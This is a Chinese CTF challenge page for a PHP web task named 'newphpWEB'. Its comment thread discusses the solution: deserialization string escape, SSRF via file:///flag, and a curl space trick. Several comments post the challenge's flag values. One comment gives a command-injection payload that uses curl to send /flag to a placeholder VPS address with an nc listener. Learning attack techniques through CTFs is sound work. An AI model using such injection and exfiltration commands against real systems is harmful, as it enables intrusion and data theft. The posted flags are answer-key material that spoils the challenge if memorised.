newphpWEB 未解决

分数: 35 金币: 3
题目作者: xluo
一  血: lastsward
一血奖励: 3金币
解  决: 1325
提  示:
描  述:
flag{}
评论
网恋秀牛子被录屏导致自卑 3月前

你们是怎么想到file前面加空格能绕过的,这样怎么能绕

回复 0

对对对对对对对对 4月前

学到很多

回复 0

givemeflag 1年前

flag{78dc400b390a50ed0009062015da1c8f}

回复 0

LLTVLL 1年前

不会,借鉴了writeup

回复 0

loulegedadong 1年前

这个讲的很清楚https://blog.csdn.net/m0_52061428/article/details/136293623

回复 1

老渡真的不懂 2年前

我真的人傻了,为什么'\0\0\0'是六个字符而不是三个?难道没有转义吗?为什么.cgi文件那里要加个空格?有大佬能解释下吗?

回复 0
buggggg 2年前

因为\和0是分开的两个字符串,没有转义;加一个空格是因为这里发送请求使用的curl,加完空格就能同时请求这两个url

回复 0

XRain 2年前

file:///flag 可以,我用了另一种方法:?name=123||curl -X POST -F x=@/flag http://x.x.x.x:2333/,在自己的 vps 用 nc 监听,就能接收到发送过来的请求报文,不知道这样也可以,看起来可以执行命令,但好像很多命令都执行失败了。

回复 1

mykali 2年前

flag{fb59b8a9a71cc0b34ca26905db6c520b}

回复 0

wxy1343 2年前

flag{0af3dab81edb60a93d4a173cf3070b25}

回复 0

jack12138 3年前

后边的字符逃逸和ssrf我都知道,但是为什么一定要逃逸呢,直接输序列化字符串为啥不行,没有弄清楚,跟read跟write有关是么?read和write那几句话是啥意思,有没有大佬帮忙解答一下呢

回复 0
chaojiikun 1年前

你在自己写的文件里可以直接给username赋值evil的对象,但是对象无法打印,你没办法给username传evil对象,你传的只是字符串

回复 0

ch1n 3年前

第三:要反序列化evil类只能通过字符串逃逸,将序列化好的evil类字符串变成user类的一个新属性(PHP可以反序列化类中不存在的属性)。

回复 2

ch1n 3年前

第二:反序列化接收的是user类的username和password属性序列化好的字符串,而读hint.php的操作是在evil类中进行的,直接传入序列化好的evil类字符串的话相当于给user类的属性赋值,跟evil类无关,所以不能直接输入evil类序列化好的字符串。

回复 3

ch1n 3年前

第一:write和read的作用是将传入的"\0\0\0"替换为"chr(0)*chr(0)",由6字符位变为3位,会造成字符串逃逸的隐患。

回复 2

WriteUp

image
M1kael

6 金币

评分(7)

解题动态

磊诺 攻破了该题 2天前
wujita01 攻破了该题 3天前
hsk_zy 攻破了该题 5天前
kitniu 攻破了该题 5天前
avaclaire 攻破了该题 7天前
bugfuck2 攻破了该题 10天前
十里故清云 攻破了该题 10天前
liang123456 攻破了该题 10天前
kr2yh 攻破了该题 12天前
FTJJJ 攻破了该题 12天前
lanza2451150 攻破了该题 13天前
hyj11125 攻破了该题 17天前
S-killer 攻破了该题 18天前
Zhengzanmei 攻破了该题 21天前
caixukun520 攻破了该题 22天前
lee8ly 攻破了该题 22天前
SamJij 攻破了该题 22天前
路痴通 攻破了该题 22天前
沧颜 攻破了该题 26天前
Aromatic 攻破了该题 27天前
问题反馈